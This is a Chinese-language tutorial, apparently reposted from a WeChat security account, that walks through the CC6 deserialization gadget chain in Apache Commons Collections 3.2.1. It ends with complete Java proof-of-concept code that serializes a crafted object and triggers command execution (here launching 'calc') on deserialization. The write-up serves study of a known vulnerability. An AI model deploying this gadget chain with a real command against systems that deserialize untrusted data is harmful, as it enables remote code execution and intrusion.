漏洞介绍
使用了3.2.1版本的Commons Collections从mvnrepository上搜索发现该版本已被提示存在两个风险

点进去看到关联到两个CVE(CVE-2015-7501、CVE-2015-6420)

该漏洞的poc利用链已被公开,也就是CC6利用链,CC6是最好用的利用链是因为CC6不限制jdk版本,只要commons collections版本小于等于3.2.1,都存在这个漏洞。
多条利用链:

本次主要讲解CC6利用链,从图中看出整体的链子Gadget chain
:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
构造利用链
最终执行命令的类InvokerTransformer
,反射架子所在方法transform()
,里面根据传的参数利用反射直接调用invoke()
函数进行命令执行。

手动new一下试试这里的命令执行
public static void cc6() {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
Object input = Runtime.getRuntime();
invokerTransformer.transform(input);
}
把input参数也使用反射获取
public static void cc6() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new String[]{"calc.exe"}
);
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
invokerTransformer.transform(input);
}
再往前倒,谁能调用InvokerTransformer
的transform()
呢,找到了ChainedTransformer
和ConstantTransformer
类
其中ChainedTransformer
的构造方法给iTransformers
赋值,然后transform()
方法调用每一个iTransformers
的transform()
方法

以及ConstantTransformer
的构造方法给iConstant
赋值,然后transform()
方法直接返回入参的值

套上这两个类,改造我们前面的利用脚本链子
public static void cc6() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //获得Runtime的class
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class}, //执行.getMethod("getRuntime")
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class}, //执行.invoke()得到Runtime实例
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class}, //传入Runtime实例
new Object[]{"calc.exe"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
继续往前找,再去找如何能触发ChainedTransformer
和ConstantTransformer
的transform()
方法,找到了LazyMap
的get()
方法,里面给factory
变量调用了transform()
方法

再往前找哪里可以调用LazyMap
的get()
方法,看到TiedMapEntry
类里面有getValue()
方法里面有get
,也就是只需要反序列化把map
变量赋值为LazyMap
类即可

继续找哪里调用了getValue()
方法,还是在LazyMap
类中找到hashCode()
方法

然后继续往前追踪hashCode()
方法,找到HashMap
类里面存在hash()
方法

继续往前跟踪hash()
方法的调用,找到还是在HashMap
类中put()
方法调用了hash()
方法

继续往前找发现HashSet
的readObject()
方法调用了HashMap
的put()
方法,刚好readObject()
就是反序列化的入口函数,链子就通了

手动本地构造利用条件执行calc
命令

利用链代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
//cc-3.2.1.jar
public class CommonsCollections6 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");
lazymap.remove("2");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);
serial(hashMap);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}
原文始发于微信公众号(智佳网络安全):Java安全-CC6反序列化
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/300767.html